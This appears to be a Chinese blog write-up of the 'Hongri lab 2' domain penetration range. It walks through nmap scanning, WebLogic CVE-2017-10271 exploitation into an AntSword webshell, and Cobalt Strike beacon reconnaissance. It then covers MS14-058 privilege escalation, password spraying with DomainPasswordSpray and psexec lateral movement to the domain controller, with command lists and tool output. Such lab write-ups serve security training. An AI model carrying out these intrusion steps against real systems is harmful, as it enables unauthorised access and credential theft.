421 字
1 分钟
红日靶场二
红日靶场二
拓扑图

前期信息收集+web攻防
在拿到这个靶机的时候我们直接nmap -sV 192.168.111.80是不可以的
✘ ⚡ root@kali /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二 nmap -sV 192.168.111.80Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:20 CSTNote: Host seems down. If it is really up, but blocking our ping probes, try -PnNmap done: 1 IP address (0 hosts up) scanned in 3.32 seconds他会返回这个
然后这个原因是这个80靶机不允许ICMP协议
但是nmap是默认探测主机是否存活 所以直接不进行端口扫描
nmap -Pn 192.168.111.80
⚡ root@kali /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二 nmap -Pn 192.168.111.80Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:21 CSTNmap scan report for 192.168.111.80Host is up (0.080s latency).Not shown: 989 filtered tcp ports (no-response)PORT STATE SERVICE80/tcp open http135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds1433/tcp open ms-sql-s3389/tcp open ms-wbt-server7001/tcp open afs3-callback49152/tcp open unknown49153/tcp open unknown49154/tcp open unknown49176/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds开放端口是80 135 139 445 1433 3389 7001 49152 49153 49154 49176
给的信息不是很完全加上-sV参数看一下
⚡ root@kali /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场二 nmap -Pn -sV 192.168.111.80Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-10 17:26 CSTNmap scan report for 192.168.111.80Host is up (0.086s latency).Not shown: 989 filtered tcp ports (no-response)PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 7.5135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP23389/tcp open ssl/ms-wbt-server?7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)49152/tcp open msrpc Microsoft Windows RPC49153/tcp open msrpc Microsoft Windows RPC49154/tcp open msrpc Microsoft Windows RPC49176/tcp open msrpc Microsoft Windows RPCService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 112.94 seconds发现7001是一个WebLogic 猜测入口点在这里
然后根据版本去搜索漏洞 这个版本比较出名的就是CVE-2017-10271
使用利用工具生成内存码到蚁剑进行利用


这个地方呢需要注意蚁剑模式选择custom
内网信息收集
信息收集常用命令
ipconfig /all 查看本机ip,所在域route print 打印路由信息net view 查看局域网内其他主机名arp -a 查看arp缓存net start 查看开启了哪些服务net share 查看开启了哪些共享net share ipc$ 开启ipc共享net share c$ 开启c盘共享net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user 查看本机用户列表net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器net user /domain 查看域用户net localgroup administrators 查看本地管理员组(通常会有域用户)net view /domain 查看有几个域net user 用户名 /domain 获取指定域用户的信息net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain 查看域中某工作组net group "domain admins" /domain 查看域管理员的名字net group "domain computers" /domain 查看域中的其他主机名net group "doamin controllers" /domain 查看域控制器(可能有多台)打开cs
生成一个后门 通过蚁剑船上执行

执行ipconfig
[09/10 18:36:34] [*] Tasked beacon to run: ipconfig[09/10 18:36:34] [+] host called home, sent: 39 bytes[09/10 18:36:35] [+] received output:
Windows IP 配置
以太网适配器 本地连接 2:
连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::d812:491a:601c:45c0%13 IPv4 地址 . . . . . . . . . . . . : 10.10.10.80 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 10.10.10.1
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . : 本地链接 IPv6 地址. . . . . . . . : fe80::c43b:6d74:a002:b816%11 IPv4 地址 . . . . . . . . . . . . : 192.168.111.80 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.111.1
隧道适配器 isatap.{AD80CD23-D97F-4814-A715-9248D845EA0F}:
媒体状态 . . . . . . . . . . . . : 媒体已断开 连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.{D7E14072-49B9-45D3-BA8C-7955E6146CC2}:
媒体状态 . . . . . . . . . . . . : 媒体已断开 连接特定的 DNS 后缀 . . . . . . . :10.10.10.80
192.168.111.80
然后我们查看域用户
[09/10 18:37:26] [*] Tasked beacon to run: net user /domain[09/10 18:37:27] [+] host called home, sent: 47 bytes[09/10 18:37:28] [+] received output:这项请求将在域 de1ay.com 的域控制器处理。
\\DC.de1ay.com 的用户帐户
-------------------------------------------------------------------------------Administrator de1ay Guestkrbtgt mssql命令成功完成。[09/10 19:11:40] beacon> shell net group "domain controllers" /domain[09/10 19:11:40] [*] Tasked beacon to run: net group "domain controllers" /domain[09/10 19:11:41] [+] host called home, sent: 81 bytes[09/10 19:11:49] [+] received output:这项请求将在域 de1ay.com 的域控制器处理。
组名 Domain Controllers注释 域中所有域控制器
成员
-------------------------------------------------------------------------------DC$命令成功完成[09/10 19:11:51] beacon> shell net group "domain computers" /domain[09/10 19:11:51] [*] Tasked beacon to run: net group "domain computers" /domain[09/10 19:11:51] [+] host called home, sent: 79 bytes[09/10 19:12:00] [+] received output:这项请求将在域 de1ay.com 的域控制器处理。
组名 Domain Computers注释 加入到域中的所有工作站和服务器
成员
-------------------------------------------------------------------------------PC$ WEB$命令成功完成。ping一下DC
[09/10 18:37:58] beacon> shell ping de1ay.com[09/10 18:37:58] [*] Tasked beacon to run: ping de1ay.com[09/10 18:37:58] [+] host called home, sent: 45 bytes[09/10 18:38:08] [+] received output:
正在 Ping de1ay.com [10.10.10.10] 具有 32 字节的数据:来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128来自 10.10.10.10 的回复: 字节=32 时间<1ms TTL=128
10.10.10.10 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms内网提权
然后因为看到我们这个用户并不是域用户 我们尝试使用一些提权方法拿到system权限 最终使用MS14-058拿到了system

拿到system后 我们对端口进行信息收集(其实我们目标已经确定是10.10.10.10了)
横向移动
我们拿到后去提取一下密码

拿到的密码都是一样的
然后我们用密码喷射的插件得到
[09/10 19:18:19] [+] --------------------------------------------密码喷洒------------------------------------------------------------[09/10 19:18:19] [+] 该功能仅限于当前主机在域内[09/10 19:18:19] [*] Tasked beacon to import: D:\Cyber_Security\tool\web\Intranet_penetration\信息收集\plugin\谢公子插件\.\powershell\DomainPasswordSpray.ps1[09/10 19:18:19] [+] host called home, sent: 6760 bytes[09/10 19:18:33] [*] Tasked beacon to run: Invoke-DomainPasswordSpray -Password 1qaz@WSX (unmanaged)[09/10 19:18:33] [+] host called home, sent: 134277 bytes[09/10 19:18:53] [+] received output:[*] Current domain is compatible with Fine-Grained Password Policy.
[09/10 19:19:02] [+] received output:ERROR: 不能对值为空的表达式调用方法。ERROR: 所在位置 行:541 字符: 66ERROR: + $stripped_split_a, $stripped_split_b = $stripped_policy.split <<<< (':',2)ERROR: + CategoryInfo : InvalidOperation: (split:String) [], RuntimeExceptionERROR: + FullyQualifiedErrorId : InvokeMethodOnNullERROR:ERROR: 使用“2”个参数调用“ToInt32”时发生异常:“索引超出范围。必须为非负值并小于集合大小。ERROR: 参数名: startIndex”ERROR: 所在位置 行:543 字符: 50ERROR: + [int]$observation_window = [convert]::ToInt32 <<<< ($observation_window_no_spaces, 10)ERROR: + CategoryInfo : NotSpecified: (:) [], MethodInvocationExceptionERROR: + FullyQualifiedErrorId : DotNetMethodExceptionERROR:[*] Now creating a list of users to spray...[*] There appears to be no lockout policy.[*] Removing disabled users from list.[*] There are 3 total users found.[*] Removing users within 1 attempt of locking out from list.[*] Created a userlist containing 3 users gathered from the current user's domain
[09/10 19:19:08] [+] received output:ERROR: 不能对值为空的表达式调用方法。ERROR: 所在位置 行:541 字符: 66ERROR: + $stripped_split_a, $stripped_split_b = $stripped_policy.split <<<< (':',2)ERROR: + CategoryInfo : InvalidOperation: (split:String) [], RuntimeExceptionERROR: + FullyQualifiedErrorId : InvokeMethodOnNullERROR:ERROR: 使用“2”个参数调用“ToInt32”时发生异常:“索引超出范围。必须为非负值并小于集合大小。ERROR: 参数名: startIndex”ERROR: 所在位置 行:543 字符: 50ERROR: + [int]$observation_window = [convert]::ToInt32 <<<< ($observation_window_no_spaces, 10)ERROR: + CategoryInfo : NotSpecified: (:) [], MethodInvocationExceptionERROR: + FullyQualifiedErrorId : DotNetMethodExceptionERROR:[*] The domain password policy observation window is set to minutes.[*] Setting a minute wait in between sprays.[*] Password spraying has begun with 1 passwords[*] This might take a while depending on the total number of users[*] Now trying password 1qaz@WSX against 3 users. Current time is 11:19[*] Writing successes to[*] SUCCESS! User:Administrator Password:1qaz@WSX1 of 3 users tested[*] SUCCESS! User:de1ay Password:1qaz@WSX2 of 3 users tested[*] SUCCESS! User:mssql Password:1qaz@WSX3 of 3 users tested[*] Password spraying is complete然后我们拿到域控的密码就是1qaz@WSX
拿到密码后我们用psexec进行横向


把域换成DE1AY
上线成功 然后发现有个插件可以找flag 然后读取 完成这个靶机


分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐
1
红日靶场三
渗透 红日靶场三从 Joomla Web 渗透、Linux 提权到内网横向和域控获取的完整记录。
2
红日靶场一
渗透 红日靶场一从 PHP 网站入口、MySQL 写文件到内网横向与域控渗透的完整记录。
3
vulntarget-d
渗透 vulntarget-d 从骑士 CMS 文件包含、PwnKit(CVE-2021-4034) 提权到内网代理与 phpMyAdmin 写日志拿 Shell 的完整记录。
4
vulntarget-a
渗透 vulntarget-a 从通达 OA 文件上传拿 Shell、Redis 未授权到三台 Windows 主机横向与域内信息收集的完整记录。